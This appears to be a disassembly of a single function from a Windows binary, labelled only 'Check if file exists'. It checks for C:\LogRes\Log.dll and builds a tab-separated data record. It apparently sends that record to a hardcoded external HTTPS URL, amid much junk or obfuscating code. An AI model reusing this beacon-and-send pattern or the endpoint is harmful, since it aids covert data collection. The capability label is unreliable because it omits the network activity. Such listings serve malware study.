Function at 0x411430
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dd34d
mov eax, dword fs:[0]
push eax
mov eax, 0x1d7c
call fcn.0046d940
mov eax, dword [0x67432c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d7c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d80], eax
call fcn.004524ef
test al, al
je 0x41148b
adc ebp, dword [esi]
shr byte [edx + 0x60b2fefd], 0x79
sub byte [eax + edx], al
ret
call fcn.004521f8
test al, al
je 0x4114b3
sbb ebp, dword [esi]
xor al, 0x3c
sti
jbe 0x4114ca
arpl bp, di
adc dword [eax], edi
mov al, 0xc2
movsd dword es:[edi], dword [esi]
sbb eax, 0x185f6e01
das
outsb dx, byte [esi]
pop edi
sbb byte [edi], ch
jg 0x4114a4
jp 0x4114d7
xchg edx, eax
adc dword [edi + edi*4 - 0x1756972f], ebp
pop ebp
or eax, dword [eax + eax]
call fcn.00452015
test al, al
je 0x4114d2
mov al, byte [0x1555d696]
xchg esi, eax
invalid
into
adc eax, dword [eax + 0x6ad67336]
test dword [edx + 0x11], ebp
push 0x11
xor eax, eax
mov dword [ebp - 0x1d30], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1d44]
mov dword [ebp - 0x1d34], 0
mov word [ebp - 0x1d44], ax
call fcn.00402ad0
cmp dword [ebp - 0x1d30], 8
lea eax, [ebp - 0x1d44]
mov dword [ebp - 4], 0
cmovae eax, dword [ebp - 0x1d44]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp + 0xc]
test eax, edx
loop 0x4114da
invalid
inc dword [edi]
add byte [eax], al
add byte [eax + 0x38], ch
js 0x411542
add byte [ebp - 0x1d4373], cl
inc edi
test esp, ecx
loop 0x4114ef
invalid
inc dword [eax]
add byte [eax], al
add byte [esi - 0x77], ah
test dword [edx - 0x30170001], edi
adc eax, 0xbd83ffff
shl dl, 1
invalid
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d84], ecx
call fcn.00452351
test al, al
je 0x411554
pop ebx
and dword [ebx + 0x77920556], esp
sub al, dl
loop 0x4114d1
xchg edx, eax
ja 0x41156d
shl dl, 1
mov dword [edx + 0x39cd7faf], ebx
push esi
js 0x411503
lcall 0x7856, 0x39cd7faf
mov bl, 0x95
xchg ebp, eax
push ebx
sbb dh, 0xe8
mov ecx, dword [ebx]
add al, 0
call fcn.004520e4
test al, al
je 0x411575
das
sar dword [ecx + 0x1a], cl
out 0x75, al
js 0x411527
pop es
xor bl, dl
xchg byte [ecx + 0x3ebc3bbd], dh
xchg cl, bl
loopne 0x4115e5
mov esp, 0xe0d9863e
jb 0x4115b1
cmp eax, 0xbf4e8b5
add al, 0
mov ch, 0xe8
hlt
call fcn.0045216e
test al, al
je 0x411596
sbb byte [esi + ebx*2], cl
push es
adc esi, 0xfffffffe
in al, dx
sub al, 0xf2
mov eax, dword [0xd0390aaa]
mov dword [0x5b16d71d], eax
fsub qword [edi]
and ecx, ebp
cmp byte [ebp - 0x1d84], 0
je 0x4115cf
push 0x270f
push 0
xor bl, bl
call fcn.00455ca6
add esp, 8
movzx ebx, bl
mov dh, 0xdb
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.004584b9
test eax, eax
jne 0x4115cf
test bl, bl
je 0x411b44
mov edx, dword [ebp - 0x1d80]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
add byte [eax], al
add byte [eax], al
mov byte [ebp - 0x1d14], 0
cmp byte [edx], 0
jne 0x4115f9
xor ecx, ecx
jmp 0x411609
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411600
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d14]
call fcn.004028b0
lea eax, [ebp - 0x1d14]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1d2c]
push eax
call fcn.004578fb
add esp, 8
mov eax, dword [ebp - 0x1d00]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x411652
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00402bd0
cmp dword [ebp - 0x1d18], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 0x1d00], 0xf
cmovae eax, dword [ebp - 0x1d2c]
push ecx
push eax
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
in al, dx
loop 0x411686
invalid
inc dword [eax]
call int.00457a90
add esp, 8
call fcn.0045230c
test al, al
je 0x4116ac
jo 0x411684
pop ds
jmp 0x4334ad99
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00480640
add esp, 0xc
call fcn.00452579
test al, al
je 0x4116db
xor byte [ecx - 0x39], dh
push ebp
scasd eax, dword es:[edi]
int1
das
scasd eax, dword es:[edi]
xor eax, esi
invalid
mov eax, dword [ebp - 0x1d7c]
cmp dword [eax + 0xcc], 0x10
lea ecx, [eax + 0xb8]
jb 0x4116f2
mov ecx, dword [ecx]
cmp dword [eax + 0x54], 0x10
lea edx, [eax + 0x40]
jb 0x4116fd
mov edx, dword [edx]
cmp dword [eax + 0x9c], 0x10
lea esi, [eax + 0x88]
jb 0x41170e
mov esi, dword [esi]
cmp dword [eax + 0x84], 0x10
lea edi, [eax + 0x70]
jb 0x41171c
mov edi, dword [edi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x411727
mov eax, dword [eax]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
push edi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00408b70
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00480640
add esp, 0x30
mov dword [ebp - 0x1d88], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x41178f
xor ecx, ecx
jmp 0x4117a1
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411798
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.004028b0
cmp dword [ebp - 0x1ce8], 0x10
lea ecx, [ebp - 0x1d88]
push ecx
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 4
push ecx
push dword [ebp - 0x1cec]
lea eax, [ebp - 0x1cfc]
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.00475855
add esp, 0x10
call fcn.004524aa
test al, al
je 0x411804
mov esp, 0xf19ceffb
push es
sub dword [ebp - 0x7be046c2], edx
stosb byte es:[edi], al
mov dh, 0x4c
invalid
lea ecx, [ebp - 0x1d75]
call fcn.00408030
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d75]
call fcn.00476046
call fcn.004523db
test al, al
je 0x411849
mov esp, edx
invalid
or dword [ecx - 0x54afd1a2], 0x3d
cmp al, byte [edx - 0x35]
std
test al, 0x9d
pop ecx
or byte [edx], cl
invalid
call fcn.0045223d
test al, al
je 0x411867
shr dh, 0x8e
jne 0x41181c
dec cl
leave
invalid
call fcn.00452396
test al, al
je 0x411882
je 0x411858
or bl, bl
sub eax, 0xd2ca65f3
sub ch, byte [ebp - 0x7e]
out 0x63, al
out dx, eax
mov ds, eax
scasd eax, dword es:[edi]
push 0x45
push str.https:__tjtv3.wn51.com__6075554d87c54ec2771e66409270e621de961b5ac5
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.004028b0
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 6
jne 0x4118c0
xor ecx, ecx
jmp 0x4118d9
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4118d0
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00406240
call fcn.004522c7
test al, al
je 0x411909
sti
sbb dh, byte [ecx]
push cs
or byte [eax], bl
sbb dword [edx - 0x2d40505c], ebp
jle 0x4118d5
and dh, byte [esi + 0x45]
adc dword [edi + 0x407d6e8], eax
add byte [eax + eax*8 - 0x1fa5e18c], al
imul ecx, dword [esi], 0xffffffad
call fcn.004520e4
test al, al
je 0x411930
pop edx
loopne 0x411980
push cs
lodsd eax, dword [esi]
adc al, 0xaf
outsb dx, byte [esi]
outsb dx, byte [esi]
inc ebx
dec esi
cmp ch, byte [ebx]
movsb byte es:[edi], byte [esi]
jae 0x41198d
and al, 0x70
out 0xda, eax
inc ebp
pop es
hlt
call fcn.004521b3
test al, al
je 0x411958
xor eax, 0x5809e24
or al, 0x89
xor byte [ebx], 0x55
ret
cmp byte [ebp + 8], 0
jne 0x4119e3
xor eax, eax
mov dword [ebp - 0x1d60], 7
mov dword [ebp - 0x1d64], 0
mov word [ebp - 0x1d74], ax
mov dword [ebp - 0x1d48], 0xf
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d5c], al
push 4
push 0x5e78c0
lea ecx, [ebp - 0x1d74]
mov byte [ebp - 4], 7
call fcn.00402ad0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1d5c]
call fcn.00402780
mov ecx, dword [ebp - 0x1d7c]
lea eax, [ebp - 0x1d74]
push eax
call fcn.0040d580
lea ecx, [ebp - 0x1d74]
call fcn.0040d510
jmp 0x411a8c
test dword [eax + 0xfffffe2], edi
add byte [eax], al
add byte [ecx - 0x1d4b7b], cl
dec dword [eax - 0x1d5b7b]
jmp [edx + 4]
invalid
call fcn.00451f46
test al, al
je 0x4119fc
out 0xdf, eax
invalid
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
mov edi, dword [ebp - 0x1d7c]
mov ecx, edi
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00410b70
mov dword [ebp - 0x1d80], eax
call fcn.004523db
test al, al
je 0x411a4a
and dl, 0xff
invalid
out dx, al
sbb byte [ecx], al
xor bl, cl
sahf
loop 0x411a20
mov byte [0xfa51ab19], al
sti
les ebx, [ebp - 0x73c6868f]
salc
cmp eax, 0xc336573b
loope 0x411a4a
pop esi
call fcn.004524ef
test al, al
je 0x411a77
cmp bl, byte [eax]
mov esp, 0x92216205
movsd dword es:[edi], dword [esi]
invalid
cmp dword [ebp - 0x1d80], 0
jne 0x411a8c
push 0x5e78c0
mov ecx, edi
call int.0040d730
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x411aaa
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00402bd0
lea ecx, [ebp - 0x1d75]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00476020
mov eax, dword [ebp - 0x1ce8]
cmp eax, 0x10
jb 0x411aee
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00402bd0
mov eax, dword [ebp - 0x1d18]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
cmp eax, 8
jb 0x411b27
inc eax
lea ecx, [ebp - 0x1d2c]
push eax
push dword [ebp - 0x1d2c]
call fcn.00402c20
xor eax, eax
mov dword [ebp - 0x1d18], 7
mov dword [ebp - 0x1d1c], 0
mov word [ebp - 0x1d2c], ax
mov eax, dword [ebp - 0x1d30]
cmp eax, 8
jb 0x411b62
inc eax
lea ecx, [ebp - 0x1d44]
push eax
push dword [ebp - 0x1d44]
call fcn.00402c20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046d81d
mov esp, ebp
pop ebp
ret 0x10